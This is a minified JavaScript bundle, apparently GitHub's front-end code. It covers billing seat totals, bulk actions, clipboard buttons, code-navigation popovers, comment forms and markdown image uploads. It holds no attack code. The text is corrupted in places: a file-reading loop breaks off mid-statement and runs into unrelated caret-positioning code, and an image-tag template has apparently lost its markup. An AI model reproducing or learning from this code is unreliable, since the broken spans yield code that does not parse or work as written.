t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const 